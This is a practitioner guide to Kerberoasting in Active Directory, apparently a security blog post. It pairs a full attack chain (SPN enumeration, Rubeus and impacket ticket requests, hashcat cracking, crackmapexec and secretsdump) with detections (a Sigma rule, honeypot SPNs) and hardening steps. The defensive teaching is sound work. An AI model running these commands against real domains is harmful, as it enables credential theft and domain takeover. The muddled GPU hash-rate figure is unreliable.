Kerberoasting in 2026: Attack Chain + Defenses

Kerberoasting is a 2014 attack that still lands in 2026. It is the single most reliable way to move from “domain user” to “domain admin” in organizations that have been running Active Directory for more than five years. Every red-team engagement we run includes a Kerberoasting step. Most of them succeed. The question is not whether your environment is vulnerable — it almost certainly is — but how many service accounts are roastable, how weak their passwords are, and whether you will detect the attempt in time to do something about it. This is the practitioner’s guide to Kerberoasting in 2026: what it is, why defenses still fail, how to exploit it end-to-end, and the controls that actually work.

The one-paragraph explanation

Kerberos issues service tickets (TGS) encrypted with the password hash of the target service account. Any domain user can request a TGS for any service in the domain — that is the design. An attacker with a low-privilege account requests tickets for service accounts with Service Principal Names (SPNs) set, extracts the encrypted blob, and cracks it offline at gigahash-per-second speeds. If the service account’s password is weak, you have its cleartext credential in minutes. If that service account is privileged — and it usually is, because historical AD practice put service accounts in Domain Admins or Enterprise Admins — you now own the domain.

Why this still works in 2026

Three structural reasons, all of which Microsoft has made partial-remediation guidance for, none of which Microsoft has fixed by default.

AD is backwards-compatible to 2000. Every environment older than five years has configuration drift, legacy service accounts whose owners have left the company, and password-rotation practices that reflect the maturity of security governance at the time the account was created — which may be 15 years ago.
Service-account password management is organizationally hard. Rotating a service account’s password means touching every system that uses it. Many organizations have not done this in a decade because the engineer who knew which systems consume the credential has moved on. The account is left running with the password from 2012.
Offline cracking is faster than policy. A modern cracking rig with four RTX 5090 GPUs does ~300 billion NTLM hashes per second against AES-encrypted Kerberos tickets. A 10-character password with full complexity falls in hours. An 8-character password, in seconds. AD default password policy of 7–8 characters is inadequate against this attacker profile — and has been since 2016.

The attack chain, end to end

Scenario: you are on a domain-joined workstation as a low-privilege user contoso\testuser, with nothing more than standard user rights. You have no elevated privileges, no local admin, no credential-dump capability yet. You want Domain Admin.

Step 1 — Enumerate SPNs

Find service accounts with SPNs set. Any domain user can query this; it is not a privilege-gated operation.

# From a Windows host in the domain
setspn -T contoso.local -Q */*

# From PowerShell with ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName

# From Linux using impacket
GetUserSPNs.py contoso.local/testuser:Password123 -dc-ip 10.0.0.10

You are looking for service accounts — typically naming conventions like svc_sql, MSSQLSVC, backup_svc, websvc_prod. The goldmine is finding one with high group membership.

Step 2 — Identify privileged service accounts

Cross-reference the SPN list against privileged groups. The AdminCount attribute is the first signal — any account with AdminCount=1 has been a member of a protected group at some point.

Get-ADUser -Filter {ServicePrincipalName -like "*" -and AdminCount -eq 1} \
  -Properties ServicePrincipalName, AdminCount, MemberOf

In older environments this returns more than you would like. We routinely find service accounts in Domain Admins, Enterprise Admins, or Schema Admins — placed there in 2008 to solve an installer’s permissions error and never reviewed since.

Step 3 — Request Kerberos service tickets

Request TGS tickets for the targeted SPNs. The domain controller issues these without question to any authenticated user.

# Using Rubeus on a Windows host
Rubeus.exe kerberoast /user:svc_sql /outfile:roast.hash

# Using impacket from Linux
GetUserSPNs.py contoso.local/testuser:Password123 -dc-ip 10.0.0.10 \
  -request -outputfile roast.hash

# Targeting a specific account
GetUserSPNs.py contoso.local/testuser:Password123 -dc-ip 10.0.0.10 \
  -request-user svc_sql -outputfile roast.hash

The output is a hash in the format $krb5tgs$23$... (RC4-HMAC) or $krb5tgs$18$... (AES-256). Modern environments default to AES, but many service accounts still have RC4 enabled either explicitly or via the msDS-SupportedEncryptionTypes attribute left at default.

Step 4 — Crack offline

The hash is now off the domain. No DC interaction is needed for cracking. Run it against your wordlist + rules on dedicated hardware.

# Hashcat mode 13100 (TGS-REP, RC4)
hashcat -m 13100 -a 0 roast.hash rockyou.txt -r rules/OneRuleToRuleThemAll.rule

# Hashcat mode 19700 (TGS-REP, AES-256)
hashcat -m 19700 -a 0 roast.hash rockyou.txt -r rules/OneRuleToRuleThemAll.rule

Against an 8-character password — any commonality, any year suffix, any seasonal pattern — cracking time on a modern GPU rig is sub-hour. Against a 16-character random-generated password, it is infeasible. The control is entirely about entropy.

Step 5 — Use the credential

Authenticate as the service account with its cleartext password. If the account is in Domain Admins, you have a privileged logon. If not, you have just broadened your access — and you can now repeat the enumeration as this new account, which may see SPNs or ACLs the original account could not.

# Validate the credential
crackmapexec smb 10.0.0.0/24 -u svc_sql -p 'CrackedPassword123!' --shares

# If DA-equivalent, dump hashes
secretsdump.py contoso.local/svc_sql:'CrackedPassword123!'@10.0.0.10

Detection signals

Kerberoasting is detectable. Most organizations that get hit by it failed to deploy or tune the detection — not because the detection is impossible. The high-signal events:

Event ID 4769 — Kerberos service ticket request

Generated on the domain controller for every TGS request. Normal volume is high; signal comes from patterns.

Encryption type = 0x17 (RC4-HMAC) when the target account supports AES. Attackers downgrade deliberately to make offline cracking faster. If you enforce AES-only on service accounts, an RC4 request is highly suspicious.
Ticket requested for SPN that is almost never requested by anyone. Baseline normal service usage; deviation from baseline is the signal.
Burst requests for multiple SPNs from the same user in a short window. Normal users request 0–5 SPNs per day. A Kerberoasting enumeration step requests dozens in seconds.

<EventData>
  <Data Name="TargetUserName">testuser@CONTOSO.LOCAL</Data>
  <Data Name="ServiceName">svc_sql</Data>
  <Data Name="TicketEncryptionType">0x17</Data>   <!-- RC4 downgrade -->
  <Data Name="TicketOptions">0x40810000</Data>
</EventData>

Sigma rule for the RC4 downgrade case — high-fidelity, low false-positive:

title: Potential Kerberoasting via RC4 Downgrade
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
  filter_computer_accounts:
    TargetUserName|endswith: '$@*'
  condition: selection and not filter_computer_accounts
level: high

Honeypot SPN accounts

Create a decoy service account — svc_backup_deprecated — with an SPN set, no real service behind it, and alert on any TGS request for it. Legitimate traffic should be zero. Any request is an attacker enumerating SPNs. This is the highest-fidelity detection available for Kerberoasting, and it takes under an hour to deploy.

Prevention — in order of control effectiveness

1. Migrate service accounts to Group Managed Service Accounts (gMSA)

gMSA accounts have 240-character random passwords, rotated automatically every 30 days. They are not Kerberoastable in any practical sense — cracking a 240-character random password is infeasible on any timeline relevant to an attacker. This is the single most effective control.

Migration is operationally non-trivial: the target system must support gMSA authentication, and many older applications do not. But for the top 20% of service accounts that matter most — SQL Server services, IIS application pools, scheduled tasks running as service identities — gMSA is a solved problem in 2026 and the only right answer.

# Create gMSA
New-ADServiceAccount -Name svc_sql_gmsa -DNSHostName sql01.contoso.local \
  -PrincipalsAllowedToRetrieveManagedPassword SQL-Servers-Group

# Install on target host
Install-ADServiceAccount svc_sql_gmsa

# Configure SQL to use it: CONTOSO\svc_sql_gmsa$ as service account

2. Enforce strong passwords on all service accounts (if gMSA not feasible)

Minimum 25 characters, random-generated, stored in a vault. At 25 characters of entropy, offline cracking is infeasible regardless of encryption type. The control is not “stronger password policy” — GPO password policy does not apply independently to service accounts; you need fine-grained password policies or a separate OU with enforcement.

3. Disable RC4 for service tickets

Set msDS-SupportedEncryptionTypes to AES-only (0x18) on every service account. This breaks the RC4 downgrade attack and forces attackers to crack AES — roughly 10× slower in the best case, and gives your detection RC4-downgrade alerts a clean signal.

Set-ADUser -Identity svc_sql -Replace @{'msDS-SupportedEncryptionTypes'=24}

Validate nothing breaks before mass rollout — some older applications have hardcoded RC4 requirements.

4. Remove service accounts from privileged groups

No service account should be in Domain Admins, Enterprise Admins, or Schema Admins unless there is an explicit, documented, time-bounded reason. If a service account needs elevated rights, grant exactly those rights via ACLs or delegation — never group membership. Revisit quarterly.

5. Rotate service-account passwords on a schedule

For non-gMSA accounts. Quarterly minimum for privileged; monthly for crown-jewel-adjacent. Automate via a secrets-management platform — CyberArk, HashiCorp Vault, Delinea — do not rely on manual rotation calendar entries.

6. Audit SPN assignments

Quarterly review of accounts with SPNs. Every SPN should map to a known service, a known owner, and a business justification. Dead SPNs on retired services should have their owner accounts disabled.

7. Deploy honeypot SPNs and tune detections

Decoy accounts with SPNs, monitored for any TGS request. The RC4-downgrade Sigma rule above. Burst-detection on Event ID 4769 by user. All three should be in your SIEM with an on-call escalation path.

Red-team notes — what we do differently in 2026

Three evolutions in attacker tradecraft that defenders should account for:

Targeted SPN requests instead of bulk enumeration. Modern attackers fingerprint the environment first via BloodHound, identify the two or three SPN accounts that matter, and request only those. Burst-detection rules tuned on 2018-era attacker behavior miss this.
Password-spray into service accounts. Instead of cracking TGS tickets offline, attackers spray common passwords at service accounts directly — Winter2025!, <CompanyName>2024. This is logged as Event ID 4771 (Kerberos pre-auth failure) and is often not monitored. Spray detection on service accounts specifically is high-fidelity.
Silver ticket forgery downstream. Once the service-account NTLM hash is recovered, attackers forge TGS tickets directly for the service — no DC interaction, no 4769 event. This is entirely undetectable on the DC. Detection moves to the application layer — anomalous authenticated access patterns, impossible-travel user-agent strings, privilege elevation not preceded by group-change events.

What good looks like

A hardened AD environment in 2026 has: zero service accounts in privileged groups, all critical service accounts migrated to gMSA, AES-only encryption enforced, honeypot SPN accounts deployed and monitored, SIEM rules for 4769 RC4-downgrade and 4771 spray against service accounts, quarterly SPN audit cadence, and 25+ character random passwords in a vault for any non-gMSA service account that remains. We have not found an organization with all of these in place that failed a Kerberoasting red-team step. We have not found an organization missing more than three of them that succeeded in blocking it.

Kerberoasting in 2026: The Practitioner Playbook